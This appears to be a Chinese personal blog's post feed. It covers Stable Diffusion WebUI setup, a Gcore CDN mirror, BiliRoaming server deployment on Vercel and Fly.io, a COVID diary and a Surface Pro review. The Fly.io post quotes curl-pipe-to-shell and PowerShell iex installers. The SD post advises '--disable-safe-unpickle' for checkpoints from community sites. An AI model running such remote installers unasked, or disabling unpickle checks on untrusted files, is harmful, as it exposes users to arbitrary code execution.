设置好启动参数以后,我们还需要下载一个模型,因为没有模型文件是启动不了的(这里模型不一定要是是官方的,官方的模型链接在Dependencies · AUTOMATIC1111/stable-diffusion-webui Wiki (github.com),但你也可以到我的分享站或者社区群体开的站SD - WebUI 资源站去下载)

把你下载好的模型,放到项目文件夹的models/Stable-diffusion文件夹下(没有的话自己创建一个)

我们双击webui-user.bat,它会自动进行环境的安装(当然Python是要预先装好的

整个过程会比较漫长,如果因为网络原因安装不下来的话试试挂个梯子

当看到如图所示的提示的时候,就说明已经开好了,我们可以访问给出的链接进入webui(默认端口是7860,但我开了一个实例在7860了,所以它就自动顺延到7861,实际使用请注意控制台给出的端口号)

访问给出的链接,我们就能到我们的webui控制台了

安装模型及关键词

这个其实上面提到了,就是把ckpt文件(checkpoint)丢到models/Stable-diffusion文件夹就行

不过我们下载到的东西不一定是ckpt文件,还有.vae.pt.pt文件,

简单来说,一般遵循以下原则(当然特殊问题特别看待哈,你别提供给你文件的人说放在指定的位置,你还按照我的这个来)

PT的使用方式:Pt放embeddings文件夹,施法输入对应文件名即可

在webui中能直接选择的其实就是models/Stable-diffusion里面的模型,在左上角有个选择框,如果你放进去了选择框里没有的话,你可以点一下左边的刷新

在这里选择我们想要的模型以后,我们就可以开始成图了

开始跑图

刚访问自己的webui,里面应该是像我这个这样

软件主界面

左上角显示目前选择的模型,下面有两个大框框,上面输入的是正面tag(就是你想要的图片里面应该是什么样的),下面的是负面tag(就是避免什么样的图)

然后再往下有个Sampling method是采样方式,就是生成图的时候,要用什么样的方式来对模型进行采样,这里我用得比较多的是Euler a EulerDDIM,右边是Sampling steps采样步数,采样步数越多越接近于你想要的图(不过是类似对数函数那样的,过大反而收益低)

再往下WidthHeight就是生成图片的宽度和高度,不宜太大,否则会爆显存(CUDA:Out of Memory),我3060用1280*720没问题

右半边有Batch Count生成图片的数量和Batch size是损失函数,一般只调整数量,关于这两个推荐阅读 → Batch Size的相关问题及如何选择Batch Size的大小 - 知乎 (zhihu.com)

往下有Seed,这个玩MC的应该不用说,种子嘛

还有个选项Hires. fix,这个是高清修复,说白了就是图片放大,同样小心爆显存!!!再往下的可以跳过了

现在,在上面的框框输入以下内容

masterpiece, best quality, official art, extremely detailed CG unity 8k wallpaper

在下面的框框里面输入

lowres, bad anatomy, bad hands, text, error, missing fingers, extra digit, fewer digits, cropped, worst quality, low quality, normal quality, jpeg artifacts, signature, watermark, username, blurry, bad feet,

然后点击右边的generate,等待大约两分钟,看到右边生成了一张图片(生成的图片取决于模型以及随机生成的种子,所以每次生成基本都是不一样的)

恭喜你!你已经会使用基本的SD功能了!生成的图片可以在outputs/txt2img-images里面找到!

启动项详解

在上面的教程中你会看到,我的启动项多了很多东西。在这里我把上面的东西搬下来

1
2
3
4
5
6
7
8
9
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=--deepdanbooru --medvram --no-half-vae
set PYTORCH_CUDA_ALLOC_CONF=garbage_collection_threshold:0.9,max_split_size_mb:64

call webui.bat

这里PYTHON GIT VENV_DIR这三个不用动(除非你知道你在做啥),我们主要关注下面两个

COMMANDLINE_ARGS是Stable-diffusion-webui的启动项,--deepdanbooru是训练tag的时候用的,可以在图片分割预处理的时候自动推断包含的tag,--medvarm就是怕炸显存才加的,上面也说过了,--no-half-vae主要用于解决生成图片时控制台报modules.devices.NansException的问题(看下面的报错环节)

PYTORCH_CUDA_ALLOC_CONF是给CUDA用的启动参数,这里garbage_collection_threshold决定了缓存的新旧与否(一般用0.5),而max_split_size_mb是CUDA分割内存的时候的分割快的大小。这个启动参数一般不用设置,除非你要训练模型啥的

插件安装

SD是可以安装插件的,而安装插件的方式很简单,在上方找到Extensions选项卡,然后再选择Avaliable,点击Load from:按钮(就那个橙色的),加载完后下面会出来个列表,在里面选择自己想要的就可以了

我这里装了一个image browser用于看图

报错以及相关的解决方式

生成图片时控制台报modules.devices.NansException

在启动参数里面加入--no-half-vae即可

加载模型时出现RuntimeError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
changing setting sd_model_checkpoint to animefull-final-pruned.ckpt: RuntimeError
Traceback (most recent call last):
File "F:\Git\stable-diffusion-webui\modules\shared.py", line 534, in set
self.data_labels[key].onchange()
File "F:\Git\stable-diffusion-webui\modules\call_queue.py", line 15, in f
res = func(*args, **kwargs)
File "F:\Git\stable-diffusion-webui\webui.py", line 84, in <lambda>
shared.opts.onchange("sd_model_checkpoint", wrap_queued_call(lambda: modules.sd_models.reload_model_weights()))
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 441, in reload_model_weights
load_model_weights(sd_model, checkpoint_info)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 240, in load_model_weights
sd = read_state_dict(checkpoint_info.filename)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 218, in read_state_dict
pl_sd = torch.load(checkpoint_file, map_location=map_location or shared.weight_load_location)
File "F:\Git\stable-diffusion-webui\modules\safe.py", line 106, in load
return load_with_extra(filename, extra_handler=global_extra_handler, *args, **kwargs)
File "F:\Git\stable-diffusion-webui\modules\safe.py", line 151, in load_with_extra
return unsafe_torch_load(filename, *args, **kwargs)
File "F:\Git\stable-diffusion-webui\venv\lib\site-packages\torch\serialization.py", line 705, in load
with _open_zipfile_reader(opened_file) as opened_zipfile:
File "F:\Git\stable-diffusion-webui\venv\lib\site-packages\torch\serialization.py", line 242, in __init__
super(_open_zipfile_reader, self).__init__(torch._C.PyTorchFileReader(name_or_buffer))
RuntimeError: PytorchStreamReader failed reading zip archive: failed finding central directory

解决方式:换个模型,该模型可能已经损坏

加载模型时出现AttributeError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-----> !!!! The file is most likely corrupted !!!! <-----
You can skip this check with --disable-safe-unpickle commandline argument, but that is not going to help you.


Failed to load checkpoint, restoring previous
Loading weights [7373d84140] from F:\Git\stable-diffusion-webui\models\Stable-diffusion\momoco_18000.ckpt
Applying cross attention optimization (Doggettx).
changing setting sd_model_checkpoint to animefull-final-pruned.ckpt: AttributeError
Traceback (most recent call last):
File "F:\Git\stable-diffusion-webui\modules\shared.py", line 534, in set
self.data_labels[key].onchange()
File "F:\Git\stable-diffusion-webui\modules\call_queue.py", line 15, in f
res = func(*args, **kwargs)
File "F:\Git\stable-diffusion-webui\webui.py", line 84, in <lambda>
shared.opts.onchange("sd_model_checkpoint", wrap_queued_call(lambda: modules.sd_models.reload_model_weights()))
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 441, in reload_model_weights
load_model_weights(sd_model, checkpoint_info)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 240, in load_model_weights
sd = read_state_dict(checkpoint_info.filename)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 223, in read_state_dict
sd = get_state_dict_from_checkpoint(pl_sd)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 194, in get_state_dict_from_checkpoint
pl_sd = pl_sd.pop("state_dict", pl_sd)
AttributeError: 'NoneType' object has no attribute 'pop'

(治标不治本)在启动项添加--disable-safe-unpickle

资源推荐

模型下载站

主页 | SD - WebUI 资源站 (123114514.xyz)

首页 - NovelAI - Share4Nothing (share4nothing.cf)

AI绘画模型博物馆: http://aimodel.subrecovery.top

Tag列表

魔咒百科词典 (aitag.top)

NovelAI法术书 - Google 云端硬盘(要梯子)

NovelAI tag在线生成器

NovelAI魔导书

元素法典——Novel AI 元素魔法全收录

上述资源的QQ频道

NovelAI中文频道(u31uiz208r)

魔导师学院(2p6k6vzg5i)

没有频道功能点这个激活频道功能:点击链接加入QQ频道【接驳巴士】:https://pd.qq.com/s/47hvnz3w2

模型训练

易于上手的教程:https://qun.qq.com/qqweb/qunpro/share?_wv=3&_wwv=128&appChannel=share&inviteCode=1YB4AvdMsUl&contentID=1fAzWY&businessType=2&from=181174&shareSource=5&biz=ka

云平台

Kaggle: Your Home for Data Science

欢迎使用 Colaboratory - Colaboratory (google.com)(要梯子)

梯子

用户注册 | 三分机场 (xn–ehq00hgtfdmt.xyz)

Airports 个人机场/订阅汇总 - Airports (share4nothing.cf)

P站资源

本人:喵呜初音 - pixiv

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + +
+ + + 将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用 + + https://bili33.top/posts/Migrate-jsdelivr-mirror-to-Gcore/ + 2023-01-05T08:35:04.000Z + 2023-07-28T09:54:40.040Z + +

这几天一直在弄点其他的东西,昨天弄了个哔哩漫游的服务器(用的vercel),然后一看我的vercel的流量使用,这才多久就已经60G了,一个月的限额可是100G

让我想起上次我的服务被打,一天就区队去掉了150G,vercel直接给我报警,我就在想有没有其他的代替方案

虽然Vercel会判定为DDoS攻击,但是确实很恼人,而且流量没了以后Vercel是会闹脾气的,上次跟群友(就ClientWorker | 一个基于规则驱动的前端路由拦截器的维护者)讨论过这个问题,然后说建议弄个缓存,不过我对Vercel没有研究的多仔细,所以就没弄了

今天突然想到可以用Gcore,它有类似于CloudFlare的CDN服务,而且还挺快的,说干就干!


战前准备

  • Gcore账号
  • 自己的域名
  • 脑子

创建CDN资源

首先我们在左侧找到CDN,然后新建一个资源

加速类型我们选择第二个(第一个要改的东西太多了而且设置很麻烦还是算了吧)

第二步是设置源站和自定义域名,源站就直接填入cdn.jsdelivr.net,自定义域名就填自己的域名就好了,HTTPS打开,然后选择第一个Get free Let's Encrypt certificate

这里有个坑:如果你要使用自己的证书,不要用Cloudflare的SSL里面颁发的证书,没有Cloudflare小云朵的庇护的话那个证书是无效的!(这个坑了我至少半小时)

接着我们去DNS那里加一条记录(这里CNAME是跟账户绑定的,我的我自己用*屏蔽了)

后面直接确认过去就好了,要用CDN的话直接将资源文件的域名改为你的自定义域名

修改设置

这里有几个要改的设置

Origin pull protocol

这个是修改为源的协议就行了,如果你的源站,支持啥就选啥,因为jsd支持HTTPHTTPS所以我直接选择了第三个

Custom domain

这里可以添加自己的自定义域名,具体不讲,添加CDN资源的时候应该都加完了

CDN caching

这里设置CDN的缓存时间,按照自己的需求设置

Redirection from origin

这个很重要!!!如果不打开的话,访问的用户遇到重定向会直接重定向到指向的链接,打开的话CDN这边就会获取重定向后的内容然后返回给用户。因为jsd重定向到raw.githubcontent.com,这个国内会404,所以如果是jsd的反代的话一定要打开,下面的状态码直接全部选上就行了

Browser caching

这个用来控制浏览器端的缓存,根据自己的需要设置

Redirect HTTP to HTTPS

重定向到HTTPS,懂得都懂

GZip compression

这个是启用压缩,如果开了的话经过CDN的内容会压缩,省流

Response headers (add)

可以添加自定义headers,我这里加的东西如图

显示如下

Response headers (hide)

可以隐藏某些headers项,但是我想不到有啥用

Downlaod speed limit

设置下载速度,应该没啥用

Basic WAF

这个还处于Beta测试,说白了就是添多一层WAF

修改规则

在RULES选项卡(左边)可以到规则页面,可以添加自己的规则。我这里是什么都没有加,到时候封仓库的时候再用

总结

这是我第一次用真正意义上的CDN,Gcore还是挺好用的,速度也很快,一个月有1T的流量,应该够用了吧……

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + +
+ + + 使用Vercel平台部署哔哩漫游服务器(HK、SEA) + + https://bili33.top/posts/Deploy-biliroaming-typescript-server-with-vercel/ + 2023-01-04T14:41:39.000Z + 2023-07-28T09:54:40.040Z + +

上次用fly.io部署了biliroaming-go-server教程),但是那个有bug,而且要求比较高(要信用卡,而且要服务器),这几天我在Github有找到了一个项目,可以将哔哩漫游服务器部署在Vercel上面


前置条件

  • 一个Github账号
  • Vercel平台

开始使用

我们直接访问这个项目的地址 -> bili-vd-bak/biliroaming-ts-server-vercel: 为BiliRoaming、哔哩UWP 等提供支持。包括支持基本功能、搜索替换、黑白名单的哔哩漫游服务端。部署在Vercel HK1。 (github.com)

然后fork一下这个项目,就点击顶上的fork键就好了,默认部署是在香港(hkg1),如果需要修改位置(只有香港和东南亚可选),则直接点开仓库里的vercel.json然后把里面的regions改掉

1
2
3
4
5
6
{
"cleanUrls": true,
"regions": [
"hkg1"
]
}

改成下面这样

1
2
3
4
5
6
{
"cleanUrls": true,
"regions": [
"sin1"
]
}

部署项目

访问Vercel(Develop. Preview. Ship. For the best frontend teams – Vercel),登陆以后,新建一个项目

然后import一下刚刚fork的项目

直接点击Deploy,然后等待部署完毕,点击Visit,顶上的链接就是你的服务器地址啦!

使用服务器

在哔哩漫游里面的对应位置填上服务器地址即可!

Bugs

目前没发现

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + + + +
+ + + 与新冠肺炎搏斗的那些日子 + + https://bili33.top/posts/Fight-against-COVID19/ + 2022-12-19T10:53:30.000Z + 2023-07-28T09:54:40.040Z + +

2022年12月18日下午,我感到十分地不适,在那之前,我们学院里有出现过COVID19(新冠肺炎)病例,所以整个学院都是在疫情管控状态,当我感受到我不适的那一刻我就知道,我很有可能是中招了。我第一次测量体温是37.4(刚刚过发烧线37.3),然后就把我丢到了临时的隔离房间去隔离去,说观察一个晚上再决定是否把我拉去隔离。

2022年12月18日晚,最后一次测量体温是38.1,此时的感觉是喉咙非常地干(话说这个自早上就是这样的了),而且四肢无力,特别是之前动过手术的左腿膝盖那个位置,很酸痛。

我就是带着各种不适的感觉睡了觉,期间起了三次,分别是十一点半、两点和四点

2022年12月19日,早上第一次测量体温,体温飙到了38.3度,这个被拉去隔离没跑了,早上四节课睡了两节课,中午就通知说去统一隔离点隔离,等中午过来以后第一次测了个体温,38.4,感觉头痛、四肢无力、喉咙干、有点流鼻涕、怕冷,来到隔离房间先倒头一睡,下午上课其实也心不在焉。等到了五点钟再测一次体温,好家伙直接给我干到了38.9度,稍微躺了躺感觉好了点,七点钟再测一次,体温下滑到了37.3度,虽然还是发烧,但是没那么严重了,症状轻了一些(当然也有可能是打了一下午COD的结果)

2022年12月20日,本来昨天是37.3的来着今早又到了38.1,说实在,感觉身体很酸痛,而且昨天的症状除了怕冷以外都还在,早上的第一二节课没有直播的那种网课,所以就开始了摸鱼模式,第三四节课概论说白了听了跟没听没区别。。。中午睡了个大觉,醒来已经14:44了(我们14:30下午上课),赶紧打开腾讯会议进去(至少是露个脸嘛),然后又开始摸鱼了(因为是中国近现代史纲要这门课程),下午测体温降到了37.4,然后跟群友玩了会Goose Goose Duck,刚开始玩也不同太懂怎么玩,玩完了等待吃饭

2022年12月21日,今天的体温稳定在37.4(发烧了,但是低烧),早上状态还行,就是喉咙痛,咳嗽,流涕;早上直接打开了FGO用脚本开始刷材料(太无聊了),一个手机开着电工网课,苏菲开着崩崩崩(FydeOS上装了一个),开始玩了起来。下午跟群友开始打CSGO官匹五黑,不能说我水平有多高,至少打得很快乐;晚上跟工作室的小伙伴一起打派派,第一把就成为了捍卫者(“这——是你的捍卫者”),后面就没吃过鸡了,不过体验还行,打下来发现头有点痛,唉不管了睡觉去了

2022年12月22日,早上没测体温,但是第一感觉是:头痛!小睡了一下,七点二十左右起的床,吃个早餐准备上课,这天没发烧,就是咳嗽很厉害,而且流鼻涕。

2022年12月23日,已经不怎么流鼻涕了,但是还是会咳嗽。晚上打了BF1,应该说其他小队太菜了嘛,我们四人小队拿第一(五人但是最后一个是几乎最后才加入的水友)。开了100个胶囊,发了俩视频,愉快的一天过去了

2022年12月24日,没怎么流鼻涕了,但是咳嗽,难受得很,头不痛。早上听到了一首很好听的V家曲(在下面),等待中午吃饭……

        

2022年12月25日,除了咳嗽基本没有什么症状了,好烦啊周日还要上课= =,唉没办法,期末考试提前一周了,慢慢来吧

2022年12月26日,上级好烦啊,做个展板要求又多,你又不给我工资,我还要为你累死累活真tm烦,太难了,明天抗原阴性就可以回去楼里隔离了,晚上继续战地1,第一次感到烂橘子比EA Desktop好用???!

2022年12月27日,抗原阴性,会楼里去了,早上玩了会死亡搁浅(键鼠玩的)。至此,我已经阳康啦!

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + +
+ + + 使用Fly.io平台部署哔哩漫游服务器 + + https://bili33.top/posts/Deploy-biliroaming-go-server-with-flyio/ + 2022-12-18T09:11:03.000Z + 2023-07-28T09:54:40.040Z + +

做这个是因为之前 @wuki 问我说能不能用Deploy app servers close to your users · Fly这个平台弄哔哩漫游服务器,然后借了我一个号,结果陆陆续续总共拖了将近半年才弄出来,在这留个记录。

请注意:fly.io平台免费账户需要信用卡验证后才能够部署项目!


这里我们使用的项目是JasonKhew96/biliroaming-go-server (github.com)

根据fly.io官方的文档,有以下地区可选(Regions · Fly Docs

Region IDRegion LocationGateway*
amsAmsterdam, Netherlands
cdgParis, France
denDenver, Colorado (US)
dfwDallas, Texas (US)
ewrSecaucus, NJ (US)
fraFrankfurt, Germany
gruSão Paulo
hkgHong Kong, Hong Kong
iadAshburn, Virginia (US)
jnbJohannesburg, South Africa
laxLos Angeles, California (US)
lhrLondon, United Kingdom
maaChennai (Madras), India
madMadrid, Spain
miaMiami, Florida (US)
nrtTokyo, Japan
ordChicago, Illinois (US)
otpBucharest, Romania
sclSantiago, Chile
seaSeattle, Washington (US)
sinSingapore
sjcSunnyvale, California (US)
sydSydney, Australia
wawWarsaw, Poland
yulMontreal, Canada
yyzToronto, Canada

在这里我们选择的就是香港地区(hkg),在部署中,它的cli是把当前目录下的文件打包为docker镜像上传到它的镜像库中再进行部署的

安装CLI

官网提供的安装方式如下

macOS

If you have the Homebrew package manager installed, flyctl can be installed by running:

1
brew install flyctl

If not, you can run the install script:

1
curl -L https://fly.io/install.sh | sh

Linux

Run the install script:

1
curl -L https://fly.io/install.sh | sh

Windows

Run the Powershell install script:

1
iwr https://fly.io/install.ps1 -useb | iex

但是因为我的网络太小霸王了,所以我用了Github的Codespaces来作为中介去干这个

使用Github Codespaces

在这个绿绿的Code按钮里面点到Codespaces,然后创建一个(我这里创建过了所以有一个)

直接打开,可以在网页打开,也可以接入自己的Vscode,进入以后按快捷键Ctrl + L-Shift + `打开一个终端,并把安装flyctl的命令写进去

这样就是安装完毕了,估计是Codespaces的机制问题,所以需要通过绝对路径去访问它

输入一下命令来登录(这里我就不打绝对路径了,这里假设是用本地电脑且flyctl已经加入环境变量)

1
$ flyctl auth login

然后终端会显示一个链接,如果你跟我一样用的是Codespaces,那就把这个链接放到自己的浏览器里面去访问登录就行了,如果你是本地运行,应该会自动打开登录页面(没截图,登录应该是小问题)

初始化项目

首先打开.gitignore文件和.dockerignore文件(如果有的话),把里面的内容全部删掉,因为部署的时候我们是需要把配置文件给一起上传的,而.gitignore把这些文件都排除掉了,所以要删掉里面的所有内容

再打开fly.toml,在最底下加上这些内容

1
2
[build.args]
BP_KEEP_FILES = "*"

不这么做的后果↓

1
2
3
4
5
6
7
8
9
10
11
12
2022-12-19T10:02:56.427 runner[86dbcaaa] hkg [info] Starting instance
2022-12-19T10:02:58.492 runner[86dbcaaa] hkg [info] Configuring virtual machine
2022-12-19T10:02:58.494 runner[86dbcaaa] hkg [info] Pulling container image
2022-12-19T10:02:59.436 runner[86dbcaaa] hkg [info] Unpacking image
2022-12-19T10:02:59.450 runner[86dbcaaa] hkg [info] Preparing kernel init
2022-12-19T10:02:59.946 runner[86dbcaaa] hkg [info] Configuring firecracker
2022-12-19T10:03:00.411 runner[86dbcaaa] hkg [info] Starting virtual machine
2022-12-19T10:03:00.671 app[86dbcaaa] hkg [info] Starting init (commit: f447594)...
2022-12-19T10:03:00.700 app[86dbcaaa] hkg [info] Preparing to run: `/cnb/process/biliroaming-go-server` as 1000
2022-12-19T10:03:00.723 app[86dbcaaa] hkg [info] 2022/12/19 10:03:00 listening on [fdaa:0:6690:a7b:7f07:86db:caaa:2]:22 (DNS: [fdaa::3]:53)
2022-12-19T10:03:00.816 app[86dbcaaa] hkg [info] 2022/12/19 10:03:00 stat ./config.yml: no such file or directory
2022-12-19T10:03:01.705 app[86dbcaaa] hkg [info] Starting clean up.

接着我们把Dockerfile删掉,因为如果有这个文件的话,flyctl会把这个判定为docker项目,这样的话我们就很难把配置文件丢进去,所以我们要更改它的判定,将判定改为go项目,所以要删掉这个

然后运行以下命令来初始化,跟着它的提示进行就行,只是最后问我们要不要部署,我们先选择不部署,因为我们接下来要导入数据库(记得把弹出来的数据库连接信息记住,因为它只会展示一次,然后就找不到啦)

接着我们修改一下项目的端口,将config.example.yml复制一份,为config.yml找到port,把后面的数字改为8080

接着我们打开config.yml修改数据库配置,找到以下内容,注释掉passwordFile,然后修改配置为我们前面创建数据库时给的内容

1
2
3
4
5
6
7
8
# 数据库
postgreSQL:
host: "<app_name>-db.internal"
user: "postgres"
password: 'password'
#passwordFile: "/run/secrets/db-password"
dbName: "<db>"
port: 5432

导入数据库

fly.io的创建的数据库进行连接的时候是使用内部域名进行连接的(格式大概是<app_name>-db.internal,所以我们不能够通过正常的方式进行连接。所幸,flyctl里面可以把数据库给映射到本地

使用以下命令进行映射

1
$ flyctl proxy 5432 -a <db_name>

这里我就使用下面这个命令进行连接

1
$ flyctl proxy 5432:5432 -a biliroaming-tutorial-db

显示如下内容的时候就是可以进行连接了

1
Proxying local port 5432 to remote [biliroaming-tutorial-db.internal]:5432

codespaces还可以在PORTS选项卡里看到绑定的本地端口

这里使用navicat进行连接,在测试之前一定要确保信息填对了

连接以后,我们在左侧可以看到两个数据库,一个是postgres,一个是<app_name>用哪个随便,不过如果要用<app_name>那个,就需要在配置文件里面相应地改掉(在初始化项目那里的数据库连接那个地方)

右键自己需要使用的数据库,选择Execute SQL File(执行SQL脚本,我这里是英文版),然后逐个将项目的sql文件夹内的脚本执行,构建数据库结构

部署项目

使用以下命令来部署项目

1
$ flyctl deploy

如果在部署过程中遇到了下面这个问题(用codespaces就出现了,不过这个好像是它服务器的部署器的问题而不是我codespaces的问题)

1
Error failed to fetch an image or build from source: downloading buildpack: extracting from registry gcr.io/paketo-buildpacks/go: fetching image: error pulling image configuration: error parsing HTTP 403 response body: invalid character '<' looking for beginning of value: "<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>We're sorry, but this service is not available in your location</Details></Error>"

那就要加多个--local-only参数,变成

1
$ flyctl deploy --local-only

当你的fly.io项目的monitor里面显示如下就是部署成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
2022-12-19T10:35:04.789 runner[fa79ac75] hkg [info] Starting instance
2022-12-19T10:35:07.119 runner[fa79ac75] hkg [info] Configuring virtual machine
2022-12-19T10:35:07.121 runner[fa79ac75] hkg [info] Pulling container image
2022-12-19T10:35:14.098 runner[fa79ac75] hkg [info] Unpacking image
2022-12-19T10:35:15.511 runner[fa79ac75] hkg [info] Preparing kernel init
2022-12-19T10:35:15.926 runner[fa79ac75] hkg [info] Configuring firecracker
2022-12-19T10:35:16.157 runner[fa79ac75] hkg [info] Starting virtual machine
2022-12-19T10:35:16.547 app[fa79ac75] hkg [info] Starting init (commit: f447594)...
2022-12-19T10:35:16.591 app[fa79ac75] hkg [info] Preparing to run: `/cnb/process/biliroaming-go-server` as 1000
......
2022-12-19T10:35:17.834 app[fa79ac75] hkg [info] DELETE FROM "th_subtitle_caches" WHERE ("th_subtitle_caches"."updated_at" <= $1);
2022-12-19T10:35:17.834 app[fa79ac75] hkg [info] [2022-12-19 10:20:17.834077308 +0000 UTC]
2022-12-19T10:35:17.835 app[fa79ac75] hkg [info] 2022-12-19T10:35:17.835Z DEBUG biliroaming-go-server/main.go:124 Cleanup 0 TH subtitle cache

获取ipv4地址

因为fly.io默认只分配了ipv6地址,然而ipv6还没有普及,我们还是需要ipv4的

使用以下命令来为项目获取ipv4地址

1
$ flyctl ips allocate-v4 -a <app_name>

会显示获取到的IP地址等信息

1
2
VERSION IP              TYPE    REGION  CREATED AT 
v4 149.248.221.246 public global 7s ago

已知的bug

显示“账号未登录”

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + + + +
+ + + 就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作 + + https://bili33.top/posts/Enchance-my-Surface-Pro-5/ + 2022-11-24T08:39:18.000Z + 2023-07-28T09:54:40.040Z + +

今年的九月份,我卖掉了我的老联想 Yoga 370,然后购置了一台Surface Pro 5顶配版给我自己用

起初是想当做笔记本用的(因为可以用笔),后来才发现有很多的用途

本文旨在记录我在Surface Pro 5上面的各种骚操作,以及我的个人使用体验,告诉你为什么在2202年,我还要选择一台仅仅配置是7代i7的微软亲儿子Surface Pro 5

先上两张实物图(背膜是拿图片找某宝做的)


购买

很简单,鱼子上面一搜,就有很多,我找的是个人使用的那种(其实鱼子上面很轻易能看出谁是二道贩子,谁是个人卖家),卖家跟我说电池有点问题,其他没啥问题。我想都17年还是18年的产品了,电池有点问题也是正常的事情,然后就一拍即合,拍下了这台苏菲Pro 5

等我拿到手以后,我发现事情没有那么简单,确实是电池有问题,但是这个电量显示完全不准,有可能我还在办公,电池剩下50%左右的电量就直接给我关机了,等我怎么按下开机键也没用,接上电源后才发现是没电了。

于是我在某宝上一搜,果然有换电池的,价格在280~450不等,我想这个价格也算是合理,毕竟苏菲这东西集成度太高了,拆的也难。于是我找了一家标价是280的,然后把机子寄了过去换电池。

某天晚上自习课刚下课,突然我的OPPO Watch接到一通电话,一听才知道是某宝维修商,他说我的电脑不仅是电池有问题,主板还漏电,对钱比较敏感的我问了一句修这个花多少钱,总之最后价格讲下来就是460

拿到修好的苏菲,我就开始了我的捣鼓之旅。

Windows(Windows11)体验

既然是微软亲儿子,那Windows的体验是少不了的,我这台装的是Windows 11 Professional(专业版)

既然Surface是一个笔记本(真笔记本,不是电脑层面的笔记本),那肯定得走一波手写笔的体验

我用了巨硬自带的OneNote for Windows 10(没错Win11还用的是Win10的),这个东西在我弄数学建模竞赛的时候发挥了非常大的作用

而且Onenote有个好处,如果你在其他机器上登陆同一个Onenote账户,可以直接同步(下面这个是我游戏本上的截图)

当然,因为Surface独有的触屏体验,还可以玩Osu(虽然以前那台LENOVO也可以点着玩)【忘截屏了】

还可以拿来推GALGAME(没下完,就截个Steam意思意思吧),但是拿来打CSGO那就是小霸王了(一帧能玩,两帧流畅,三帧电竞)

这个3:2的屏幕,写代码也是杠杠的(图为弄数模的时候的数据处理)

还可以顺带玩一玩SDVX(民间版本,不外传,因为禁用了键盘所以是拍的)

再加上Win11对触屏本身的BUFF加持,让苏菲变得比某希沃好用多了

Linux(Ubuntu)体验【略】

因为我用Ubuntu的时候没截屏过,然后输入法配置问题把我搞得心态崩了直接把Ubuntu删了,所以这一届没有图片

总的来说是还可以,但是要经过一番配置才可以,你需要安装一个Kernel才能解锁Surface的全部功能(包括触屏等)

使用的项目是这个https://github.com/linux-surface/linux-surface

安装方法见Installation and Setup · linux-surface/linux-surface Wiki (github.com)

FydeOS(ChromeOS衍生版)体验

装了FydeOS的Surface Pro 5

为啥我会选择装ChromeOS?这个要从一个想法说起。本来我就是个音游玩家,一直在用手机玩音游,没怎么用过平板来玩(以前嫖过别人的平板不过那也是别人的),平板玩音游的优势很大,主要还是屏幕大。我一开始选的是Bliss OS For PC,这个里面是个Android x86系统,但我不知道是苏菲特色还是咋地,不管是BlissOS 11、BlissOS 14 还是 BlissOS 15(如果过不了那个logcat可以F12里面直接找下载链接,这里放一个 -> BlissOS 15 with Gearlock)装在我的Surface上就一直起不来(进不了系统,有的卡在grub,有的卡在kernel load,有的直接重启),所以我就只能另辟蹊径

我想起之前用过的FydeOS,但是用的是以前的那个联想装的,还很不成熟,只能在U盘里面使用,装东西也只能装在那个里面,所以当时就放弃了。时隔一年,我又再次下载下来发现已经跟之前很不一样了,现在可以安装在硬盘里面了(安装过程省略,才不是我没有截图呢),安装的时候如果你要保留Windows,记得让安装程序帮你配置rEFInd,要不然会很麻烦

开机后直接就是一张壁纸,下面是任务栏(启动器)

从下往上滑,打开应用列表,有个非常显眼的东西:安卓设置,点开以后会有个EULA,同意了就可以打开安卓子系统了(其实是Arc - Android Runtime on ChromeOS)

打开Android子系统后,可以在关于里面看到是Android 9(原生的)

用我们的常规手段打开开发者选项后,就可以打开adb调试了,然后可以在ChromeOS的Linux开发者容器里面用adb连接

你还可以在FydeOS的应用商店里面找到配置 OpenGapps这个应用,打开它,我们就可以安装GAPPS套件了

你可以预先下好Clash啥的软件,方便后续使用

关于VPN服务,真的要点个赞,当你在Android子系统中使用VPN服务时,FydeOS会自动将VPN应用于整个OS里面,也就是说当我打开Clash的时候,不仅仅是Android子系统的软件可以走代理,FydeOS的Chromium也上了代理,不用再在Linux容器里面装多个v2rayL啥的东西了

接着就是装一堆音游啦!既然有了Google Play商店,我就从Play商店里面下载(Cytus2本来在B站下的,因为给B站充钱了,但是在这上面会闪退而Play版就不会,辣鸡龙渊能不能让我转国际区……)

在这个上面玩音游的体验不能算是优秀,只能算是中规中矩,有些音游在上面玩的有点卡(例如阿卡伊,当然不排除我真的不会玩阿卡伊),华为玩音游有的现象在这上面基本都有(指吃音)

不过这个系统的Android和ChromeOS之间几乎没有隔阂,这个体现在分享上面,你可以直接分享到Android的应用中

我还在这上面装了崩崩崩、PCR(多聚酶链式反应)、FGO(非酋系列)、明日方舟这几个游戏,本来装了原的,但是原的体验并不好,跟在我的红米NOTE 11上面打感觉没什么两样,就删掉了

